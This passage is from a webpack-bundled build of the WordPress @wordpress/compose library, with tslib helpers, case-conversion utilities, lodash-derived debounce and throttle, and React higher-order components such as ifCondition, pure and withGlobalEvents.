      while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
  }
  catch (error) { e = { error: error }; }
  finally {
      try {
          if (r && !r.done && (m = i["return"])) m.call(i);
      }
      finally { if (e) throw e.error; }
  }
  return ar;
}

/** @deprecated */
function __spread() {
  for (var ar = [], i = 0; i < arguments.length; i++)
      ar = ar.concat(__read(arguments[i]));
  return ar;
}

/** @deprecated */
function __spreadArrays() {
  for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
  for (var r = Array(s), k = 0, i = 0; i < il; i++)
      for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
          r[k] = a[j];
  return r;
}

function __spreadArray(to, from, pack) {
  if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
      if (ar || !(i in from)) {
          if (!ar) ar = Array.prototype.slice.call(from, 0, i);
          ar[i] = from[i];
      }
  }
  return to.concat(ar || Array.prototype.slice.call(from));
}

function __await(v) {
  return this instanceof __await ? (this.v = v, this) : new __await(v);
}

function __asyncGenerator(thisArg, _arguments, generator) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var g = generator.apply(thisArg, _arguments || []), i, q = [];
  return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
  function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
  function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
  function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
  function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
  function fulfill(value) { resume("next", value); }
  function reject(value) { resume("throw", value); }
  function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
}

function __asyncDelegator(o) {
  var i, p;
  return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
  function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
}

function __asyncValues(o) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var m = o[Symbol.asyncIterator], i;
  return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
  function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
  function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
}

function __makeTemplateObject(cooked, raw) {
  if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
  return cooked;
};

var __setModuleDefault = Object.create ? (function(o, v) {
  Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
  o["default"] = v;
};

var ownKeys = function(o) {
  ownKeys = Object.getOwnPropertyNames || function (o) {
    var ar = [];
    for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
    return ar;
  };
  return ownKeys(o);
};

function __importStar(mod) {
  if (mod && mod.__esModule) return mod;
  var result = {};
  if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
  __setModuleDefault(result, mod);
  return result;
}

function __importDefault(mod) {
  return (mod && mod.__esModule) ? mod : { default: mod };
}

function __classPrivateFieldGet(receiver, state, kind, f) {
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
  return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
}

function __classPrivateFieldSet(receiver, state, value, kind, f) {
  if (kind === "m") throw new TypeError("Private method is not writable");
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
  return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
}

function __classPrivateFieldIn(state, receiver) {
  if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
  return typeof state === "function" ? receiver === state : state.has(receiver);
}

function __addDisposableResource(env, value, async) {
  if (value !== null && value !== void 0) {
    if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
    var dispose, inner;
    if (async) {
      if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
      dispose = value[Symbol.asyncDispose];
    }
    if (dispose === void 0) {
      if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
      dispose = value[Symbol.dispose];
      if (async) inner = dispose;
    }
    if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
    if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
    env.stack.push({ value: value, dispose: dispose, async: async });
  }
  else if (async) {
    env.stack.push({ async: true });
  }
  return value;
}

var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
  var e = new Error(message);
  return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
};

function __disposeResources(env) {
  function fail(e) {
    env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
    env.hasError = true;
  }
  var r, s = 0;
  function next() {
    while (r = env.stack.pop()) {
      try {
        if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
        if (r.dispose) {
          var result = r.dispose.call(r.value);
          if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
        }
        else s |= 1;
      }
      catch (e) {
        fail(e);
      }
    }
    if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
    if (env.hasError) throw env.error;
  }
  return next();
}

function __rewriteRelativeImportExtension(path, preserveJsx) {
  if (typeof path === "string" && /^\.\.?\//.test(path)) {
      return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
          return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
      });
  }
  return path;
}

/* harmony default export */ const tslib_es6 = ({
  __extends,
  __assign,
  __rest,
  __decorate,
  __param,
  __esDecorate,
  __runInitializers,
  __propKey,
  __setFunctionName,
  __metadata,
  __awaiter,
  __generator,
  __createBinding,
  __exportStar,
  __values,
  __read,
  __spread,
  __spreadArrays,
  __spreadArray,
  __await,
  __asyncGenerator,
  __asyncDelegator,
  __asyncValues,
  __makeTemplateObject,
  __importStar,
  __importDefault,
  __classPrivateFieldGet,
  __classPrivateFieldSet,
  __classPrivateFieldIn,
  __addDisposableResource,
  __disposeResources,
  __rewriteRelativeImportExtension,
});

;// ./node_modules/lower-case/dist.es2015/index.js
/**
 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
 */
var SUPPORTED_LOCALE = {
    tr: {
        regexp: /\u0130|\u0049|\u0049\u0307/g,
        map: {
            İ: "\u0069",
            I: "\u0131",
            İ: "\u0069",
        },
    },
    az: {
        regexp: /\u0130/g,
        map: {
            İ: "\u0069",
            I: "\u0131",
            İ: "\u0069",
        },
    },
    lt: {
        regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
        map: {
            I: "\u0069\u0307",
            J: "\u006A\u0307",
            Į: "\u012F\u0307",
            Ì: "\u0069\u0307\u0300",
            Í: "\u0069\u0307\u0301",
            Ĩ: "\u0069\u0307\u0303",
        },
    },
};
/**
 * Localized lower case.
 */
function localeLowerCase(str, locale) {
    var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
    if (lang)
        return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
    return lowerCase(str);
}
/**
 * Lower case as a function.
 */
function lowerCase(str) {
    return str.toLowerCase();
}

;// ./node_modules/no-case/dist.es2015/index.js

// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
// Remove all non-word characters.
var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
/**
 * Normalize the string into something other libraries can manipulate easier.
 */
function noCase(input, options) {
    if (options === void 0) { options = {}; }
    var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
    var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
    var start = 0;
    var end = result.length;
    // Trim the delimiter from around the output string.
    while (result.charAt(start) === "\0")
        start++;
    while (result.charAt(end - 1) === "\0")
        end--;
    // Transform each token independently.
    return result.slice(start, end).split("\0").map(transform).join(delimiter);
}
/**
 * Replace `re` in the input string with the replacement value.
 */
function replace(input, re, value) {
    if (re instanceof RegExp)
        return input.replace(re, value);
    return re.reduce(function (input, re) { return input.replace(re, value); }, input);
}

;// ./node_modules/pascal-case/dist.es2015/index.js


function pascalCaseTransform(input, index) {
    var firstChar = input.charAt(0);
    var lowerChars = input.substr(1).toLowerCase();
    if (index > 0 && firstChar >= "0" && firstChar <= "9") {
        return "_" + firstChar + lowerChars;
    }
    return "" + firstChar.toUpperCase() + lowerChars;
}
function pascalCaseTransformMerge(input) {
    return input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();
}
function pascalCase(input, options) {
    if (options === void 0) { options = {}; }
    return noCase(input, __assign({ delimiter: "", transform: pascalCaseTransform }, options));
}

;// ./node_modules/@wordpress/compose/build-module/utils/create-higher-order-component/index.js
/**
 * External dependencies
 */

/**
 * Given a function mapping a component to an enhanced component and modifier
 * name, returns the enhanced component augmented with a generated displayName.
 *
 * @param mapComponent Function mapping component to enhanced component.
 * @param modifierName Seed name from which to generated display name.
 *
 * @return Component class with generated display name assigned.
 */
function createHigherOrderComponent(mapComponent, modifierName) {
  return Inner => {
    const Outer = mapComponent(Inner);
    Outer.displayName = hocName(modifierName, Inner);
    return Outer;
  };
}

/**
 * Returns a displayName for a higher-order component, given a wrapper name.
 *
 * @example
 *     hocName( 'MyMemo', Widget ) === 'MyMemo(Widget)';
 *     hocName( 'MyMemo', <div /> ) === 'MyMemo(Component)';
 *
 * @param name  Name assigned to higher-order component's wrapper component.
 * @param Inner Wrapped component inside higher-order component.
 * @return       Wrapped name of higher-order component.
 */
const hocName = (name, Inner) => {
  const inner = Inner.displayName || Inner.name || 'Component';
  const outer = pascalCase(name !== null && name !== void 0 ? name : '');
  return `${outer}(${inner})`;
};

;// ./node_modules/@wordpress/compose/build-module/utils/debounce/index.js
/**
 * Parts of this source were derived and modified from lodash,
 * released under the MIT license.
 *
 * https://github.com/lodash/lodash
 *
 * Copyright JS Foundation and other contributors <https://js.foundation/>
 *
 * Based on Underscore.js, copyright Jeremy Ashkenas,
 * DocumentCloud and Investigative Reporters & Editors <http://underscorejs.org/>
 *
 * This software consists of voluntary contributions made by many
 * individuals. For exact contribution history, see the revision history
 * available at https://github.com/lodash/lodash
 *
 * The following license applies to all parts of this software except as
 * documented below:
 *
 * ====
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

/**
 * A simplified and properly typed version of lodash's `debounce`, that
 * always uses timers instead of sometimes using rAF.
 *
 * Creates a debounced function that delays invoking `func` until after `wait`
 * milliseconds have elapsed since the last time the debounced function was
 * invoked. The debounced function comes with a `cancel` method to cancel delayed
 * `func` invocations and a `flush` method to immediately invoke them. Provide
 * `options` to indicate whether `func` should be invoked on the leading and/or
 * trailing edge of the `wait` timeout. The `func` is invoked with the last
 * arguments provided to the debounced function. Subsequent calls to the debounced
 * function return the result of the last `func` invocation.
 *
 * **Note:** If `leading` and `trailing` options are `true`, `func` is
 * invoked on the trailing edge of the timeout only if the debounced function
 * is invoked more than once during the `wait` timeout.
 *
 * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
 * until the next tick, similar to `setTimeout` with a timeout of `0`.
 *
 * @param {Function}                   func             The function to debounce.
 * @param {number}                     wait             The number of milliseconds to delay.
 * @param {Partial< DebounceOptions >} options          The options object.
 * @param {boolean}                    options.leading  Specify invoking on the leading edge of the timeout.
 * @param {number}                     options.maxWait  The maximum time `func` is allowed to be delayed before it's invoked.
 * @param {boolean}                    options.trailing Specify invoking on the trailing edge of the timeout.
 *
 * @return Returns the new debounced function.
 */
const debounce = (func, wait, options) => {
  let lastArgs;
  let lastThis;
  let maxWait = 0;
  let result;
  let timerId;
  let lastCallTime;
  let lastInvokeTime = 0;
  let leading = false;
  let maxing = false;
  let trailing = true;
  if (options) {
    leading = !!options.leading;
    maxing = 'maxWait' in options;
    if (options.maxWait !== undefined) {
      maxWait = Math.max(options.maxWait, wait);
    }
    trailing = 'trailing' in options ? !!options.trailing : trailing;
  }
  function invokeFunc(time) {
    const args = lastArgs;
    const thisArg = lastThis;
    lastArgs = undefined;
    lastThis = undefined;
    lastInvokeTime = time;
    result = func.apply(thisArg, args);
    return result;
  }
  function startTimer(pendingFunc, waitTime) {
    timerId = setTimeout(pendingFunc, waitTime);
  }
  function cancelTimer() {
    if (timerId !== undefined) {
      clearTimeout(timerId);
    }
  }
  function leadingEdge(time) {
    // Reset any `maxWait` timer.
    lastInvokeTime = time;
    // Start the timer for the trailing edge.
    startTimer(timerExpired, wait);
    // Invoke the leading edge.
    return leading ? invokeFunc(time) : result;
  }
  function getTimeSinceLastCall(time) {
    return time - (lastCallTime || 0);
  }
  function remainingWait(time) {
    const timeSinceLastCall = getTimeSinceLastCall(time);
    const timeSinceLastInvoke = time - lastInvokeTime;
    const timeWaiting = wait - timeSinceLastCall;
    return maxing ? Math.min(timeWaiting, maxWait - timeSinceLastInvoke) : timeWaiting;
  }
  function shouldInvoke(time) {
    const timeSinceLastCall = getTimeSinceLastCall(time);
    const timeSinceLastInvoke = time - lastInvokeTime;

    // Either this is the first call, activity has stopped and we're at the
    // trailing edge, the system time has gone backwards and we're treating
    // it as the trailing edge, or we've hit the `maxWait` limit.
    return lastCallTime === undefined || timeSinceLastCall >= wait || timeSinceLastCall < 0 || maxing && timeSinceLastInvoke >= maxWait;
  }
  function timerExpired() {
    const time = Date.now();
    if (shouldInvoke(time)) {
      return trailingEdge(time);
    }
    // Restart the timer.
    startTimer(timerExpired, remainingWait(time));
    return undefined;
  }
  function clearTimer() {
    timerId = undefined;
  }
  function trailingEdge(time) {
    clearTimer();

    // Only invoke if we have `lastArgs` which means `func` has been
    // debounced at least once.
    if (trailing && lastArgs) {
      return invokeFunc(time);
    }
    lastArgs = lastThis = undefined;
    return result;
  }
  function cancel() {
    cancelTimer();
    lastInvokeTime = 0;
    clearTimer();
    lastArgs = lastCallTime = lastThis = undefined;
  }
  function flush() {
    return pending() ? trailingEdge(Date.now()) : result;
  }
  function pending() {
    return timerId !== undefined;
  }
  function debounced(...args) {
    const time = Date.now();
    const isInvoking = shouldInvoke(time);
    lastArgs = args;
    lastThis = this;
    lastCallTime = time;
    if (isInvoking) {
      if (!pending()) {
        return leadingEdge(lastCallTime);
      }
      if (maxing) {
        // Handle invocations in a tight loop.
        startTimer(timerExpired, wait);
        return invokeFunc(lastCallTime);
      }
    }
    if (!pending()) {
      startTimer(timerExpired, wait);
    }
    return result;
  }
  debounced.cancel = cancel;
  debounced.flush = flush;
  debounced.pending = pending;
  return debounced;
};

;// ./node_modules/@wordpress/compose/build-module/utils/throttle/index.js
/**
 * Parts of this source were derived and modified from lodash,
 * released under the MIT license.
 *
 * https://github.com/lodash/lodash
 *
 * Copyright JS Foundation and other contributors <https://js.foundation/>
 *
 * Based on Underscore.js, copyright Jeremy Ashkenas,
 * DocumentCloud and Investigative Reporters & Editors <http://underscorejs.org/>
 *
 * This software consists of voluntary contributions made by many
 * individuals. For exact contribution history, see the revision history
 * available at https://github.com/lodash/lodash
 *
 * The following license applies to all parts of this software except as
 * documented below:
 *
 * ====
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

/**
 * Internal dependencies
 */

/**
 * A simplified and properly typed version of lodash's `throttle`, that
 * always uses timers instead of sometimes using rAF.
 *
 * Creates a throttled function that only invokes `func` at most once per
 * every `wait` milliseconds. The throttled function comes with a `cancel`
 * method to cancel delayed `func` invocations and a `flush` method to
 * immediately invoke them. Provide `options` to indicate whether `func`
 * should be invoked on the leading and/or trailing edge of the `wait`
 * timeout. The `func` is invoked with the last arguments provided to the
 * throttled function. Subsequent calls to the throttled function return
 * the result of the last `func` invocation.
 *
 * **Note:** If `leading` and `trailing` options are `true`, `func` is
 * invoked on the trailing edge of the timeout only if the throttled function
 * is invoked more than once during the `wait` timeout.
 *
 * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
 * until the next tick, similar to `setTimeout` with a timeout of `0`.
 *
 * @param {Function}                   func             The function to throttle.
 * @param {number}                     wait             The number of milliseconds to throttle invocations to.
 * @param {Partial< ThrottleOptions >} options          The options object.
 * @param {boolean}                    options.leading  Specify invoking on the leading edge of the timeout.
 * @param {boolean}                    options.trailing Specify invoking on the trailing edge of the timeout.
 * @return Returns the new throttled function.
 */
const throttle = (func, wait, options) => {
  let leading = true;
  let trailing = true;
  if (options) {
    leading = 'leading' in options ? !!options.leading : leading;
    trailing = 'trailing' in options ? !!options.trailing : trailing;
  }
  return debounce(func, wait, {
    leading,
    trailing,
    maxWait: wait
  });
};

;// ./node_modules/@wordpress/compose/build-module/utils/observable-map/index.js
/**
 * A constructor (factory) for `ObservableMap`, a map-like key/value data structure
 * where the individual entries are observable: using the `subscribe` method, you can
 * subscribe to updates for a particular keys. Each subscriber always observes one
 * specific key and is not notified about any unrelated changes (for different keys)
 * in the `ObservableMap`.
 *
 * @template K The type of the keys in the map.
 * @template V The type of the values in the map.
 * @return   A new instance of the `ObservableMap` type.
 */
function observableMap() {
  const map = new Map();
  const listeners = new Map();
  function callListeners(name) {
    const list = listeners.get(name);
    if (!list) {
      return;
    }
    for (const listener of list) {
      listener();
    }
  }
  return {
    get(name) {
      return map.get(name);
    },
    set(name, value) {
      map.set(name, value);
      callListeners(name);
    },
    delete(name) {
      map.delete(name);
      callListeners(name);
    },
    subscribe(name, listener) {
      let list = listeners.get(name);
      if (!list) {
        list = new Set();
        listeners.set(name, list);
      }
      list.add(listener);
      return () => {
        list.delete(listener);
        if (list.size === 0) {
          listeners.delete(name);
        }
      };
    }
  };
}

;// ./node_modules/@wordpress/compose/build-module/higher-order/pipe.js
/**
 * Parts of this source were derived and modified from lodash,
 * released under the MIT license.
 *
 * https://github.com/lodash/lodash
 *
 * Copyright JS Foundation and other contributors <https://js.foundation/>
 *
 * Based on Underscore.js, copyright Jeremy Ashkenas,
 * DocumentCloud and Investigative Reporters & Editors <http://underscorejs.org/>
 *
 * This software consists of voluntary contributions made by many
 * individuals. For exact contribution history, see the revision history
 * available at https://github.com/lodash/lodash
 *
 * The following license applies to all parts of this software except as
 * documented below:
 *
 * ====
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

/**
 * Creates a pipe function.
 *
 * Allows to choose whether to perform left-to-right or right-to-left composition.
 *
 * @see https://lodash.com/docs/4#flow
 *
 * @param {boolean} reverse True if right-to-left, false for left-to-right composition.
 */
const basePipe = (reverse = false) => (...funcs) => (...args) => {
  const functions = funcs.flat();
  if (reverse) {
    functions.reverse();
  }
  return functions.reduce((prev, func) => [func(...prev)], args)[0];
};

/**
 * Composes multiple higher-order components into a single higher-order component. Performs left-to-right function
 * composition, where each successive invocation is supplied the return value of the previous.
 *
 * This is inspired by `lodash`'s `flow` function.
 *
 * @see https://lodash.com/docs/4#flow
 */
const pipe = basePipe();

/* harmony default export */ const higher_order_pipe = (pipe);

;// ./node_modules/@wordpress/compose/build-module/higher-order/compose.js
/**
 * Internal dependencies
 */


/**
 * Composes multiple higher-order components into a single higher-order component. Performs right-to-left function
 * composition, where each successive invocation is supplied the return value of the previous.
 *
 * This is inspired by `lodash`'s `flowRight` function.
 *
 * @see https://lodash.com/docs/4#flow-right
 */
const compose = basePipe(true);
/* harmony default export */ const higher_order_compose = (compose);

;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// ./node_modules/@wordpress/compose/build-module/higher-order/if-condition/index.js
/**
 * External dependencies
 */

/**
 * Internal dependencies
 */


/**
 * Higher-order component creator, creating a new component which renders if
 * the given condition is satisfied or with the given optional prop name.
 *
 * @example
 * ```ts
 * type Props = { foo: string };
 * const Component = ( props: Props ) => <div>{ props.foo }</div>;
 * const ConditionalComponent = ifCondition( ( props: Props ) => props.foo.length !== 0 )( Component );
 * <ConditionalComponent foo="" />; // => null
 * <ConditionalComponent foo="bar" />; // => <div>bar</div>;
 * ```
 *
 * @param predicate Function to test condition.
 *
 * @return Higher-order component.
 */

function ifCondition(predicate) {
  return createHigherOrderComponent(WrappedComponent => props => {
    if (!predicate(props)) {
      return null;
    }
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, {
      ...props
    });
  }, 'ifCondition');
}
/* harmony default export */ const if_condition = (ifCondition);

;// external ["wp","isShallowEqual"]
const external_wp_isShallowEqual_namespaceObject = window["wp"]["isShallowEqual"];
var external_wp_isShallowEqual_default = /*#__PURE__*/__webpack_require__.n(external_wp_isShallowEqual_namespaceObject);
;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// ./node_modules/@wordpress/compose/build-module/higher-order/pure/index.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Given a component returns the enhanced component augmented with a component
 * only re-rendering when its props/state change
 *
 * @deprecated Use `memo` or `PureComponent` instead.
 */

const pure = createHigherOrderComponent(function (WrappedComponent) {
  if (WrappedComponent.prototype instanceof external_wp_element_namespaceObject.Component) {
    return class extends WrappedComponent {
      shouldComponentUpdate(nextProps, nextState) {
        return !external_wp_isShallowEqual_default()(nextProps, this.props) || !external_wp_isShallowEqual_default()(nextState, this.state);
      }
    };
  }
  return class extends external_wp_element_namespaceObject.Component {
    shouldComponentUpdate(nextProps) {
      return !external_wp_isShallowEqual_default()(nextProps, this.props);
    }
    render() {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, {
        ...this.props
      });
    }
  };
}, 'pure');
/* harmony default export */ const higher_order_pure = (pure);

;// external ["wp","deprecated"]
const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
;// ./node_modules/@wordpress/compose/build-module/higher-order/with-global-events/listener.js
/**
 * Class responsible for orchestrating event handling on the global window,
 * binding a single event to be shared across all handling instances, and
 * removing the handler when no instances are listening for the event.
 */
class Listener {
  constructor() {
    /** @type {any} */
    this.listeners = {};
    this.handleEvent = this.handleEvent.bind(this);
  }
  add(/** @type {any} */eventType, /** @type {any} */instance) {
    if (!this.listeners[eventType]) {
      // Adding first listener for this type, so bind event.
      window.addEventListener(eventType, this.handleEvent);
      this.listeners[eventType] = [];
    }
    this.listeners[eventType].push(instance);
  }
  remove(/** @type {any} */eventType, /** @type {any} */instance) {
    if (!this.listeners[eventType]) {
      return;
    }
    this.listeners[eventType] = this.listeners[eventType].filter((/** @type {any} */listener) => listener !== instance);
    if (!this.listeners[eventType].length) {
      // Removing last listener for this type, so unbind event.
      window.removeEventListener(eventType, this.handleEvent);
      delete this.listeners[eventType];
    }
  }
  handleEvent(/** @type {any} */event) {
    this.listeners[event.type]?.forEach((/** @type {any} */instance) => {
      instance.handleEvent(event);
    });
  }
}
/* harmony default export */ const listener = (Listener);

;// ./node_modules/@wordpress/compose/build-module/higher-order/with-global-events/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



/**
 * Listener instance responsible for managing document event handling.
 */

const with_global_events_listener = new listener();

/* eslint-disable jsdoc/no-undefined-types */
/**
 * Higher-order component creator which, given an object of DOM event types and
 * values corresponding to a callback function name on the component, will
 * create or update a window event handler to invoke the callback when an event
 * occurs. On behalf of the consuming developer, the higher-order component
 * manages unbinding when the component unmounts, and binding at most a single
 * event handler for the entire application.
 *
 * @deprecated
 *
 * @param {Record<keyof GlobalEventHandlersEventMap, string>} eventTypesToHandlers Object with keys of DOM
 *                                                                                 event type, the value a
 *                                                                                 name of the function on
 *                                                                                 the original component's
 *                                                                                 instance which handles
 *                                                                                 the event.
 *
 * @return {any} Higher-order component.
 */
function withGlobalEvents(eventTypesToHandlers) {
  external_wp_deprecated_default()('wp.compose.withGlobalEvents', {
    since: '5.7',
    alternative: 'useEffect'
  });

  // @ts-ignore We don't need to fix the type-related issues because this is deprecated.
  return createHigherOrderComponent(WrappedComponent => {
    class Wrapper extends external_wp_element_namespaceObject.Component {
      constructor(/** @type {any} */props) {
        super(props);
        this.handleEvent = this.handleEvent.bind(this);
        this.handleRef = this.handleRef.bind(this);
      }
      componentDidMount() {
        Object.keys(eventTypesToHandlers).forEach(eventType => {
          with_global_events_listener.add(eventType, this);
        });
      }
      componentWillUnmount() {
        Object.keys(eventTypesToHandlers).forEach(eventType => {
          with_global_events_listener.remove(eventType, this);
        });
      }
      handleEvent(/** @type {any} */event) {
        const handler = eventTypesToHandlers[(/** @type {keyof GlobalEventHandlersEventMap} */
        event.type

        /* eslint-enable jsdoc/no-undefined-types */)];
        if (typeof this.wrappedRef[handler] === 'function') {
          this.wrappedRef[handler](event);
        }
      }
      handleRef(/** @type {any} */el) {
        this.wrappedRef = el;
        // Any component using `withGlobalEvents` that is not setting a `ref`
        // will cause `this.props.forwardedRef` to be `null`, so we need this
        // check.
        if (this.props.forwardedRef) {
          this.props.forwardedRef(el);
        }
      }
      render() {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, {
          ...this.props.ownProps,
          ref: this.handleRef
        });
      }
    }
    return (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Wrapper, {
        ownProps: props,
